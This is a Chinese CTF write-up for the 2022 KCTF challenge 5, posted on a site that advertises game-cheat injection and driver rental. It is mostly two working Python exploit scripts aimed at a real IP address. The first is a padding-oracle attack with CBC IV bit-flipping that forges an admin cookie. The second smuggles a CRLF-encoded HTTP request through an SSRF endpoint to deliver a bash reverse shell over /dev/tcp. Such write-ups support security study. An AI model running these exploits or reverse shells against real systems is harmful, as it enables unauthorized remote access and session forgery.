Canvas is not supported in your browser.
首页 课程 文章
无痕注入 APC注入 线程注入 读写驱动 注入技术 句柄表 进程线程 系统调用 保护模式 内存管理 远程CALL 软件调试 驱动封装 云下发 驱动开发 FPS数据 方框透视 FPS方框 FPS自瞄 CE D3DHOOK D3D绘制 Imgui绘制 DWM
内核课程 驱动出租 学习路线 聊天室 免责声明 提问技巧

CTF对抗- 2022 KCTF 第五题 灾荒蔓延 98k Writeup

推荐 原创

周杰伦

文章分类 Android安全 CTF对抗 IOS安全 阅读数 : 488 阅读时长 : 9分钟

第五题 灾荒蔓延

访问主页会给一个 isadmin 的 cookie, 带上此 cookie 直接访问 /admin, 发现提示不是 admin.
对 cookie 最后一位修改后提示 decrypt error, 再结合 unhexlify 后长度 32, 可以猜出是分块加密.
然后修改第一位, 提示 json parse error, 那么可以得知大概率是 CBC 模式 + PKCS7 Padding.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import binascii
 
import requests
 
# https://github.com/mwielgoszewski/python-paddingoracle
from paddingoracle import PaddingOracle, BadPaddingException
 
 
class PadBuster(PaddingOracle):
     def __init__( self , session: requests.Session, wait: float = 0.1 , * * kwargs):
         super (PadBuster, self ).__init__( * * kwargs)
         self .session = session
         self .wait = wait
 
     def oracle( self , data, * * kwargs):
         token = binascii.hexlify(data).decode()
 
         resp = None
         while True :
             try :
                 resp = self .session.get( 'http://150.158.18.137:5329/admin' , cookies = {
                     'isadmin' : token
                 })
                 break
             except requests.HTTPError:
                 # time.sleep(self.wait)
                 continue
 
         self .history.append(resp)
 
         if 'Decrypt error' not in resp.text:
             return
         else :
             raise BadPaddingException
 
 
sess = requests.session()
pad_buster = PadBuster(sess)
 
ct = binascii.unhexlify( 'b60bdcada90e7c628b68d0ed965363858dc1695757156638e9b86ac59c99e7c2' )
print ( len (ct))
print (ct)
 
# admin_token = pad_buster.decrypt(ct[16:], block_size=16, iv=ct[:16])
# print(admin_token)
# b'{"admin":"0"}\x03\x03\x03'
 
iv = bytearray(ct[: 16 ])
iv[ 10 ] = iv[ 10 ] ^ ord ( '0' ) ^ ord ( '1' )
 
print (binascii.hexlify(bytes(iv) + ct[ 16 :]))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
sess = requests.session()
 
CRLF = 'č̊'
BLANK = '̠'
 
r = f '''1 HTTP/1.1
Cookie: isadmin=b60bdcada90e7c628b68d1ed965363858dc1695757156638e9b86ac59c99e7c2
Connection: keep-alive
Host: 127.0.0.1
 
POST /C00mmmmanD HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.86.0
Accept: */*
Connection: close
Cookie: isadmin=b60bdcada90e7c628b68d1ed965363858dc1695757156638e9b86ac59c99e7c2
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
 
cmd=bash -c "bash -i >%2526 /dev/tcp/ip/port 0>%25261"
 
''' .replace('\n ', CRLF).replace(' ', BLANK)
 
# 记得修改 Content-Length
print (r)
r = sess.get( 'http://150.158.18.137:5329/search?url=http://127.0.0.1:5329/C00mmmmanD?a=' + r)
 
print (r.text)


更多【 2022 KCTF 第五题 灾荒蔓延 98k Writeup】相关视频教程：www.yxfzedu.com




相关文章推荐

记录自己的技术轨迹
文章规则：
1)：文章标题请尽量与文章内容相符
2)：严禁色情、血腥、暴力
3)：严禁发布任何形式的广告贴
4)：严禁发表关于中国的政治类话题
5)：严格遵守中国互联网法律法规
6)：有侵权,疑问可发邮件至service@yxfzedu.com
近期原创 更多
友情链接
内核结构 FAQ
免责声明
课程目录
Windows内核
游戏逆向(FPS)
技术交流QQ群
342478842 215039827 137189196
314055665 159620936
微信公众号
www.yxfzedu.com是一个分享游戏安全,游戏外挂与反外挂,游戏驱动保护的视频网站！
接各种驱动定制如：游戏读写驱动，软件内存保护，防止调试等功能定制。
出租读写驱动，调试驱动，无痕注入支持各种游戏。
邮箱：service@yxfzedu.com
QQ：851920120
特别说明：不接游戏数据分析，外挂编写，登陆协议等类似业务。